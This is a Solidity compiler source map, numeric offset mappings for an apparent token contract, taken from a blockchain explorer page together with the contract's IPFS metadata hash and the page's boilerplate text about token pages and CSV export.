;-1:-1:-1;;;;;15095:33:0;;15061:21;15095:33;;;:15;:33;;;;;;15085:4;;15095:33;;15091:83;;;-1:-1:-1;15151:5:0;;-1:-1:-1;15151:5:0;15091:83;15184:122;15208:16;15226:14;15242:16;15260:9;15271:16;15289;15184:23;:122::i;:::-;12456:2858;;12353:2961;;;:::o;3229:224::-;3349:7;3385:12;3377:6;;;;3369:29;;;;-1:-1:-1;;;3369:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3409:9:0;3421:5;3425:1;3421;:5;:::i;:::-;3409:17;3229:224;-1:-1:-1;;;;;3229:224:0:o;10376:333::-;-1:-1:-1;;;;;10513:23:0;;;;;;:9;:23;;;;;;:41;;10541:12;10513:27;:41::i;:::-;-1:-1:-1;;;;;10487:23:0;;;;;;;:9;:23;;;;;;:67;;;;10592:24;;;;;;;:42;;10621:12;10592:28;:42::i;:::-;-1:-1:-1;;;;;10565:24:0;;;;;;;:9;:24;;;;;;;:69;;;;10650:51;;;;;;-1:-1:-1;;;;;;;;;;;10650:51:0;;;10688:12;10121:25:1;;10109:2;10094:18;;10076:76;3461:246:0;3519:7;3543:6;3539:47;;-1:-1:-1;3573:1:0;3566:8;;3539:47;3596:9;3608:5;3612:1;3608;:5;:::i;:::-;3596:17;-1:-1:-1;3641:1:0;3632:5;3636:1;3596:17;3632:5;:::i;:::-;:10;3624:56;;;;-1:-1:-1;;;3624:56:0;;7486:2:1;3624:56:0;;;7468:21:1;7525:2;7505:18;;;7498:30;7564:34;7544:18;;;7537:62;-1:-1:-1;;;7615:18:1;;;7608:31;7656:19;;3624:56:0;7458:223:1;3624:56:0;3698:1;3461:246;-1:-1:-1;;;3461:246:0:o;3715:132::-;3773:7;3800:39;3804:1;3807;3800:39;;;;;;;;;;;;;;;;;:3;:39::i;10717:107::-;10774:7;10806:1;10802;:5;10801:15;;10815:1;10801:15;;;-1:-1:-1;10811:1:0;10717:107;-1:-1:-1;10717:107:0:o;10832:483::-;5615:6;:13;;-1:-1:-1;;;;5615:13:0;-1:-1:-1;;;5615:13:0;;;10934:16:::1;::::0;;10948:1:::1;10934:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10934:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10934:16:0::1;10910:40;;10979:4;10961;10966:1;10961:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10961:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11005:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11005:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10961:7;;11005:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10995:4;11000:1;10995:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10995:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11070:15:::1;::::0;11038:62:::1;::::0;11055:4:::1;::::0;11070:15:::1;11088:11:::0;11038:8:::1;:62::i;:::-;11111:15;::::0;:196:::1;::::0;-1:-1:-1;;;11111:196:0;;-1:-1:-1;;;;;11111:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11192:11;;11111:15:::1;::::0;11234:4;;11261::::1;::::0;11281:15:::1;::::0;11111:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5651:6:0;:14;;-1:-1:-1;;;;5651:14:0;;;-1:-1:-1;;;;10832:483:0:o;9831:95::-;9888:13;;:30;;-1:-1:-1;;;;;9888:13:0;;;;:30;;;;;9911:6;;9888:13;:30;:13;:30;9911:6;9888:13;:30;;;;;;;;;;;;;;;;;;;11323:563;11575:16;11571:214;;;11608:52;11635:13;11650:9;11608:26;:52::i;:::-;11571:214;;;11693:80;11719:13;11734;11749:9;11760:12;11693:25;:80::i;:::-;11797:81;11822:13;11837:14;11853:13;11868:9;11797:24;:81::i;:::-;11323:563;;;;;;:::o;3085:136::-;3143:7;3170:43;3174:1;3177;3170:43;;;;;;;;;;;;;;;;;:3;:43::i;2898:179::-;2956:7;;2988:5;2992:1;2988;:5;:::i;:::-;2976:17;;3017:1;3012;:6;;3004:46;;;;-1:-1:-1;;;3004:46:0;;7130:2:1;3004:46:0;;;7112:21:1;7169:2;7149:18;;;7142:30;7208:29;7188:18;;;7181:57;7255:18;;3004:46:0;7102:177:1;3855:223:0;3975:7;4010:12;4003:5;3995:28;;;;-1:-1:-1;;;3995:28:0;;;;;;;;:::i;:::-;-1:-1:-1;4034:9:0;4046:5;4050:1;4046;:5;:::i;7006:343::-;7133:13;;7129:213;;7208:4;7190:24;;;;:9;:24;;;;;;:71;;7237:9;7190:28;:71::i;:::-;7181:4;7163:24;;;;:9;:24;;;;;;;:98;;;;7281:49;;-1:-1:-1;;;;;7281:49:0;;;-1:-1:-1;;;;;;;;;;;7281:49:0;;;7320:9;10121:25:1;;10109:2;10094:18;;10076:76;7281:49:0;;;;;;;;7006:343;;:::o;7357:381::-;7568:95;7611:14;;:41;;7643:9;7611:41;;;7628:12;7611:41;-1:-1:-1;;;;;7568:24:0;;;;;;:9;:24;;;;;;;:28;:95::i;:::-;-1:-1:-1;;;;;7541:24:0;;;;;;;:9;:24;;;;;;;:122;;;;7679:51;;;;;;-1:-1:-1;;;;;;;;;;;7679:51:0;;;7717:12;10121:25:1;;10109:2;10094:18;;10076:76;7679:51:0;;;;;;;;7357:381;;;;:::o;11894:451::-;-1:-1:-1;;;;;12108:24:0;;;;;;:9;:24;;;;;;:43;;12137:13;12108:28;:43::i;:::-;-1:-1:-1;;;;;12081:24:0;;;;;;:9;:24;;;;;:70;12191:60;12222:28;:13;12240:9;12222:17;:28::i;:::-;-1:-1:-1;;;;;12191:26:0;;;;;;:9;:26;;;;;;;:30;:60::i;:::-;-1:-1:-1;;;;;12162:26:0;;;;;;;:9;:26;;;;;:89;;;;12267:70;;-1:-1:-1;;;;;;;;;;;12308:28:0;:13;12326:9;12308:17;:28::i;:::-;12267:70;;10121:25:1;;;10109:2;10094:18;12267:70:0;10076:76:1;14:134;82:20;;111:31;82:20;111:31;:::i;:::-;63:85;;;:::o;153:247::-;212:6;265:2;253:9;244:7;240:23;236:32;233:2;;;281:1;278;271:12;233:2;320:9;307:23;339:31;364:5;339:31;:::i;405:251::-;475:6;528:2;516:9;507:7;503:23;499:32;496:2;;;544:1;541;534:12;496:2;576:9;570:16;595:31;620:5;595:31;:::i;661:388::-;729:6;737;790:2;778:9;769:7;765:23;761:32;758:2;;;806:1;803;796:12;758:2;845:9;832:23;864:31;889:5;864:31;:::i;:::-;914:5;-1:-1:-1;971:2:1;956:18;;943:32;984:33;943:32;984:33;:::i;:::-;1036:7;1026:17;;;748:301;;;;;:::o;1054:456::-;1131:6;1139;1147;1200:2;1188:9;1179:7;1175:23;1171:32;1168:2;;;1216:1;1213;1206:12;1168:2;1255:9;1242:23;1274:31;1299:5;1274:31;:::i;:::-;1324:5;-1:-1:-1;1381:2:1;1366:18;;1353:32;1394:33;1353:32;1394:33;:::i;:::-;1158:352;;1446:7;;-1:-1:-1;;;1500:2:1;1485:18;;;;1472:32;;1158:352::o;1515:315::-;1583:6;1591;1644:2;1632:9;1623:7;1619:23;1615:32;1612:2;;;1660:1;1657;1650:12;1612:2;1699:9;1686:23;1718:31;1743:5;1718:31;:::i;:::-;1768:5;1820:2;1805:18;;;;1792:32;;-1:-1:-1;;;1602:228:1:o;1835:1132::-;1919:6;1950:2;1993;1981:9;1972:7;1968:23;1964:32;1961:2;;;2009:1;2006;1999:12;1961:2;2049:9;2036:23;2078:18;2119:2;2111:6;2108:14;2105:2;;;2135:1;2132;2125:12;2105:2;2173:6;2162:9;2158:22;2148:32;;2218:7;2211:4;2207:2;2203:13;2199:27;2189:2;;2240:1;2237;2230:12;2189:2;2276;2263:16;2298:2;2294;2291:10;2288:2;;;2304:18;;:::i;:::-;2350:2;2347:1;2343:10;2382:2;2376:9;2445:2;2441:7;2436:2;2432;2428:11;2424:25;2416:6;2412:38;2500:6;2488:10;2485:22;2480:2;2468:10;2465:18;2462:46;2459:2;;;2511:18;;:::i;:::-;2547:2;2540:22;2597:18;;;2631:15;;;;-1:-1:-1;2666:11:1;;;2696;;;2692:20;;2689:33;-1:-1:-1;2686:2:1;;;2735:1;2732;2725:12;2686:2;2757:1;2748:10;;2767:169;2781:2;2778:1;2775:9;2767:169;;;2838:23;2857:3;2838:23;:::i;:::-;2826:36;;2799:1;2792:9;;;;;2882:12;;;;2914;;2767:169;;;-1:-1:-1;2955:6:1;1930:1037;-1:-1:-1;;;;;;;;1930:1037:1:o;2972:277::-;3039:6;3092:2;3080:9;3071:7;3067:23;3063:32;3060:2;;;3108:1;3105;3098:12;3060:2;3140:9;3134:16;3193:5;3186:13;3179:21;3172:5;3169:32;3159:2;;3215:1;3212;3205:12;3254:306;3342:6;3350;3358;3411:2;3399:9;3390:7;3386:23;3382:32;3379:2;;;3427:1;3424;3417:12;3379:2;3456:9;3450:16;3440:26;;3506:2;3495:9;3491:18;3485:25;3475:35;;3550:2;3539:9;3535:18;3529:25;3519:35;;3369:191;;;;;:::o;5165:597::-;5277:4;5306:2;5335;5324:9;5317:21;5367:6;5361:13;5410:6;5405:2;5394:9;5390:18;5383:34;5435:1;5445:140;5459:6;5456:1;5453:13;5445:140;;;5554:14;;;5550:23;;5544:30;5520:17;;;5539:2;5516:26;5509:66;5474:10;;5445:140;;;5603:6;5600:1;5597:13;5594:2;;;5673:1;5668:2;5659:6;5648:9;5644:22;5640:31;5633:42;5594:2;-1:-1:-1;5746:2:1;5725:15;-1:-1:-1;;5721:29:1;5706:45;;;;5753:2;5702:54;;5286:476;-1:-1:-1;;;5286:476:1:o;7686:356::-;7888:2;7870:21;;;7907:18;;;7900:30;7966:34;7961:2;7946:18;;7939:62;8033:2;8018:18;;7860:182::o;10157:980::-;10419:4;10467:3;10456:9;10452:19;10498:6;10487:9;10480:25;10524:2;10562:6;10557:2;10546:9;10542:18;10535:34;10605:3;10600:2;10589:9;10585:18;10578:31;10629:6;10664;10658:13;10695:6;10687;10680:22;10733:3;10722:9;10718:19;10711:26;;10772:2;10764:6;10760:15;10746:29;;10793:1;10803:195;10817:6;10814:1;10811:13;10803:195;;;10882:13;;-1:-1:-1;;;;;10878:39:1;10866:52;;10973:15;;;;10938:12;;;;10914:1;10832:9;10803:195;;;-1:-1:-1;;;;;;;11054:32:1;;;;11049:2;11034:18;;11027:60;-1:-1:-1;;;11118:3:1;11103:19;11096:35;11015:3;10428:709;-1:-1:-1;;;10428:709:1:o;11331:128::-;11371:3;11402:1;11398:6;11395:1;11392:13;11389:2;;;11408:18;;:::i;:::-;-1:-1:-1;11444:9:1;;11379:80::o;11464:217::-;11504:1;11530;11520:2;;11574:10;11569:3;11565:20;11562:1;11555:31;11609:4;11606:1;11599:15;11637:4;11634:1;11627:15;11520:2;-1:-1:-1;11666:9:1;;11510:171::o;11686:422::-;11775:1;11818:5;11775:1;11832:270;11853:7;11843:8;11840:21;11832:270;;;11912:4;11908:1;11904:6;11900:17;11894:4;11891:27;11888:2;;;11921:18;;:::i;:::-;11971:7;11961:8;11957:22;11954:2;;;11991:16;;;;11954:2;12070:22;;;;12030:15;;;;11832:270;;;11836:3;11750:358;;;;;:::o;12113:140::-;12171:5;12200:47;12241:4;12231:8;12227:19;12221:4;12307:5;12337:8;12327:2;;-1:-1:-1;12378:1:1;12392:5;;12327:2;12426:4;12416:2;;-1:-1:-1;12463:1:1;12477:5;;12416:2;12508:4;12526:1;12521:59;;;;12594:1;12589:130;;;;12501:218;;12521:59;12551:1;12542:10;;12565:5;;;12589:130;12626:3;12616:8;12613:17;12610:2;;;12633:18;;:::i;:::-;-1:-1:-1;;12689:1:1;12675:16;;12704:5;;12501:218;;12803:2;12793:8;12790:16;12784:3;12778:4;12775:13;12771:36;12765:2;12755:8;12752:16;12747:2;12741:4;12738:12;12734:35;12731:77;12728:2;;;-1:-1:-1;12840:19:1;;;12872:5;;12728:2;12919:34;12944:8;12938:4;12919:34;:::i;:::-;12989:6;12985:1;12981:6;12977:19;12968:7;12965:32;12962:2;;;13000:18;;:::i;:::-;13038:20;;12317:747;-1:-1:-1;;;12317:747:1:o;13069:168::-;13109:7;13175:1;13171;13167:6;13163:14;13160:1;13157:21;13152:1;13145:9;13138:17;13134:45;13131:2;;;13182:18;;:::i;:::-;-1:-1:-1;13222:9:1;;13121:116::o;13242:125::-;13282:4;13310:1;13307;13304:8;13301:2;;;13315:18;;:::i;:::-;-1:-1:-1;13352:9:1;;13291:76::o;13372:135::-;13411:3;-1:-1:-1;;13432:17:1;;13429:2;;;13452:18;;:::i;:::-;-1:-1:-1;13499:1:1;13488:13;;13419:88::o;13512:127::-;13573:10;13568:3;13564:20;13561:1;13554:31;13604:4;13601:1;13594:15;13628:4;13625:1;13618:15;13644:127;13705:10;13700:3;13696:20;13693:1;13686:31;13736:4;13733:1;13726:15;13760:4;13757:1;13750:15;13776:127;13837:10;13832:3;13828:20;13825:1;13818:31;13868:4;13865:1;13858:15;13892:4;13889:1;13882:15;13908:131;-1:-1:-1;;;;;13983:31:1;;13973:42;;13963:2;;14029:1;14026;14019:12;13963:2;13953:86;:::o

Swarm Source

ipfs://466f47b4f5d0f6711b97540af4ce12355168aa235a60494744479f2247b9ca40
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.